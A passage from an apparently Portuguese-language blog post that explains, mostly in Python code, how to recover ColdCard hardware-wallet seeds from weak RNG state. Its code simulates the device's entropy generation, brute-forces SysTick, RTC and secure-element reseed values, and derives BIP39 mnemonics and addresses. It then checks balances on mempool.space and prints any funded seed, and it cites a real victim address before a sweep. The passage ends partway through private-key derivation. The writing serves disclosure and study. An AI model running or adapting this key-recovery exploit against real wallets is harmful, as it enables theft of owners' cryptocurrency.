</span></span><span class="line"><span class="cl"><span class="o">&gt;&gt;&gt;</span> <span class="p">[</span><span class="nb">hex</span><span class="p">(</span><span class="n">yasmarang_step</span><span class="p">(</span><span class="n">s</span><span class="p">))</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">3</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="s1">&#39;0x12f99f10&#39;</span><span class="p">,</span> <span class="s1">&#39;0x1e0841df&#39;</span><span class="p">,</span> <span class="s1">&#39;0x8f794c6c&#39;</span><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>2. Do estado do RNG para entropia da ColdCard<span class="hx:absolute hx:-mt-20" id="2-do-estado-do-rng-para-entropia-da-coldcard"></span>
    <a href="#2-do-estado-do-rng-para-entropia-da-coldcard" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Simula o que a ColdCard fazia para gerar os 32 bytes de entropia.
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">    - MicroPython inicializa seu Yasmarang com:
</span></span></span><span class="line"><span class="cl"><span class="s2">        pad = UID_low32 ^ SysTick-&gt;VAL
</span></span></span><span class="line"><span class="cl"><span class="s2">        n   = RTC-&gt;TR
</span></span></span><span class="line"><span class="cl"><span class="s2">        d   = RTC-&gt;SSR
</span></span></span><span class="line"><span class="cl"><span class="s2">    - libNgU mantém um segundo Yasmarang com constantes públicas.
</span></span></span><span class="line"><span class="cl"><span class="s2">    - Cada palavra de 32 bits é: chip ^ my_yasmarang().
</span></span></span><span class="line"><span class="cl"><span class="s2">    - Nos Mk4/Q/Mk5, o reseed altera o &#39;pad&#39; do estado do libNgU.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mpy_state</span> <span class="o">=</span> <span class="p">[</span><span class="n">uid_low32</span> <span class="o">^</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">libngu_state</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x0A8CE26F</span><span class="p">,</span> <span class="mi">69</span><span class="p">,</span> <span class="mi">233</span><span class="p">,</span> <span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">reseed</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># reseed() no firmware só sobrescreve yasmarang_pad</span>
</span></span><span class="line"><span class="cl">        <span class="n">libngu_state</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">reseed</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># A ColdCard pode fazer chamadas extras antes de gerar a seed (health</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># check, etc.). Na prática o atacante modela o histórico exato de</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># chamadas. Aqui simplificamos para 8 palavras = 32 bytes.</span>
</span></span><span class="line"><span class="cl">    <span class="n">words</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">chip</span> <span class="o">=</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">mpy_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">mix</span> <span class="o">=</span> <span class="n">chip</span> <span class="o">^</span> <span class="n">yasmarang_step</span><span class="p">(</span><span class="n">libngu_state</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">words</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;I&#34;</span><span class="p">,</span> <span class="n">mix</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">words</span><span class="p">)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> monta o estado inicial. O <code>pad</code> do MicroPython é <code>UID_low32 ^ SysTick</code>; <code>n</code> e <code>d</code> vêm do RTC. O libNgU entra com constantes públicas. Cada palavra é o XOR das duas. Esse XOR não cria aleatoriedade: se os dois lados são reproduzíveis, o resultado também é.</p>
<p><strong>Exemplo:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78).hex()
</span></span><span class="line"><span class="cl">&#39;3013f52faaef2a65c47fee63c83e9773d505bd05e4b2b43f56bb8c60ecc66f66&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>3. De entropia para endereço Bitcoin<span class="hx:absolute hx:-mt-20" id="3-de-entropia-para-endereço-bitcoin"></span>
    <a href="#3-de-entropia-para-endere%c3%a7o-bitcoin" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">first_addresses</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">,</span> <span class="n">account</span><span class="o">=</span><span class="mi">0</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Dada a entropia bruta, gera a mnemonic BIP39, a seed BIP32 e os
</span></span></span><span class="line"><span class="cl"><span class="s2">    primeiros endereços SegWit nativos de recebimento e troco.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">mnemonic</span> <span class="o">=</span> <span class="n">mnemonic_from_bytes</span><span class="p">(</span><span class="n">entropy_bytes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">addrs</span> <span class="o">=</span> <span class="p">{</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">:</span> <span class="n">mnemonic</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">change</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">idx</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">5</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="n">path</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;m/84&#39;/0&#39;/</span><span class="si">{</span><span class="n">account</span><span class="si">}</span><span class="s2">&#39;/</span><span class="si">{</span><span class="n">change</span><span class="si">}</span><span class="s2">/</span><span class="si">{</span><span class="n">idx</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="n">addr</span> <span class="o">=</span> <span class="n">p2wpkh</span><span class="p">(</span><span class="n">key</span><span class="o">.</span><span class="n">key</span><span class="o">.</span><span class="n">get_public_key</span><span class="p">())</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">            <span class="n">label</span> <span class="o">=</span> <span class="s2">&#34;receive&#34;</span> <span class="k">if</span> <span class="n">change</span> <span class="o">==</span> <span class="mi">0</span> <span class="k">else</span> <span class="s2">&#34;change&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="n">addrs</span><span class="o">.</span><span class="n">setdefault</span><span class="p">(</span><span class="n">label</span><span class="p">,</span> <span class="p">[])</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">addrs</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> pega os 32 bytes, transforma em 24 palavras BIP39, calcula a seed, abre a árvore BIP32 e deriva os endereços. Na prática o atacante testa dezenas ou centenas de índices e também outras contas.</p>
<p><strong>Exemplo:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; cand = first_addresses(coldcard_entropy(0xDEADBEEF, 12345, 0x123456, 78))
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;mnemonic&#34;]
</span></span><span class="line"><span class="cl">&#39;copy panic episode fiction verify cream ball worry glow draft place tray expect teach bleak north reflect wide puzzle boat attract glimpse rural setup&#39;
</span></span><span class="line"><span class="cl">&gt;&gt;&gt; cand[&#34;receive&#34;][0]
</span></span><span class="line"><span class="cl">&#39;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#39;</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h3>4. Consultar a blockchain como oráculo<span class="hx:absolute hx:-mt-20" id="4-consultar-a-blockchain-como-oráculo"></span>
    <a href="#4-consultar-a-blockchain-como-or%c3%a1culo" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">has_utxo</span><span class="p">(</span><span class="n">address</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;True se o endereço tiver qualquer UTXO no mempool.space.&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;https://mempool.space/api/address/</span><span class="si">{</span><span class="n">address</span><span class="si">}</span><span class="s2">/utxo&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">r</span><span class="o">.</span><span class="n">raise_for_status</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">len</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">json</span><span class="p">())</span> <span class="o">&gt;</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;erro consultando&#34;</span><span class="p">,</span> <span class="n">address</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="kc">False</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que faz:</strong> faz a pergunta real. Sem essa consulta, o atacante não saberia se acertou. A blockchain é o oráculo.</p>
<p><strong>Exemplo de não acerto:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">&gt;&gt;&gt; has_utxo(&#34;bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp&#34;)
</span></span><span class="line"><span class="cl">False</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O atacante descarta e passa ao próximo candidato.</p>
<p><strong>Exemplo de acerto</strong> (o endereço real da vítima <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr</code></a>, antes do sweep):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">[</span>
</span></span><span class="line"><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;txid&#34;</span><span class="p">:</span> <span class="s2">&#34;78ac8968ccf5a586d2fb9509f5af13f41e0a288bfa0f0b177d4e4b6bbebad05d&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;vout&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;value&#34;</span><span class="p">:</span> <span class="mi">2989251877</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;status&#34;</span><span class="p">:</span> <span class="p">{</span><span class="nt">&#34;confirmed&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nt">&#34;block_height&#34;</span><span class="p">:</span> <span class="mi">960188</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Quando <code>has_utxo</code> devolve <code>True</code>, o atacante sabe que a seed que ele acabou de gerar produz aquele endereço — e, portanto, a chave privada correspondente.</p>
<h3>5. Enumerar candidatos e caçar<span class="hx:absolute hx:-mt-20" id="5-enumerar-candidatos-e-caçar"></span>
    <a href="#5-enumerar-candidatos-e-ca%c3%a7ar" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk3</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Exemplo para Mk3/Mk2 v4: varre SysTick e RTC plausíveis.
</span></span></span><span class="line"><span class="cl"><span class="s2">    Na prática o atacante usa GPUs/FPGAs e restringe o UID pelo serial.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">systick</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">80_000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">rtc_tr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x000000</span><span class="p">,</span> <span class="mh">0x240000</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">rtc_ssr</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">256</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">brute_mk4</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Exemplo para Mk4/Q/Mk5: o fallback é fixado e o atacante enumera
</span></span></span><span class="line"><span class="cl"><span class="s2">    os 2^32 valores possíveis do reseed do secure element.
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">reseed</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x100000000</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">yield</span> <span class="n">coldcard_entropy</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">systick</span><span class="p">,</span> <span class="n">rtc_tr</span><span class="p">,</span> <span class="n">rtc_ssr</span><span class="p">,</span> <span class="n">reseed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">hunt</span><span class="p">(</span><span class="n">uid_low32</span><span class="p">,</span> <span class="n">generator</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">entropy</span> <span class="ow">in</span> <span class="n">generator</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">candidate</span> <span class="o">=</span> <span class="n">first_addresses</span><span class="p">(</span><span class="n">entropy</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="n">addr</span> <span class="ow">in</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;receive&#34;</span><span class="p">]</span> <span class="o">+</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;change&#34;</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">has_utxo</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;ACERTOU!&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  mnemonic:&#34;</span><span class="p">,</span> <span class="n">candidate</span><span class="p">[</span><span class="s2">&#34;mnemonic&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;  endereço :&#34;</span><span class="p">,</span> <span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="k">return</span> <span class="n">candidate</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Exemplo didático: use um UID conhecido e um gerador Mk3 reduzido.</span>
</span></span><span class="line"><span class="cl"><span class="c1"># hunt(0xAABBCCDD, brute_mk3(0xAABBCCDD))</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>O que fazem:</strong> <code>brute_mk3</code> varre estados plausíveis para Mk3; <code>brute_mk4</code> varre os 2^32 reseeds do secure element; <code>hunt</code> é o loop que gera, deriva e checa. O atacante real não roda em Python; escreve isso em C/CUDA/FPGA e paraleliza por UID. Mas a lógica é idêntica.</p>
<h2>Depois de achar a colisão<span class="hx:absolute hx:-mt-20" id="depois-de-achar-a-colisão"></span>
    <a href="#depois-de-achar-a-colis%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quando <code>hunt</code> retorna, o atacante já tem a <code>mnemonic</code> e o endereço com saldo. Com elas, ele obtém a chave privada:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip39</span> <span class="kn">import</span> <span class="n">mnemonic_to_seed</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">embit.bip32</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">seed</span> <span class="o">=</span> <span class="n">mnemonic_to_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">root</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">addr_key</span> <span class="o">=</span> <span class="n">root</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
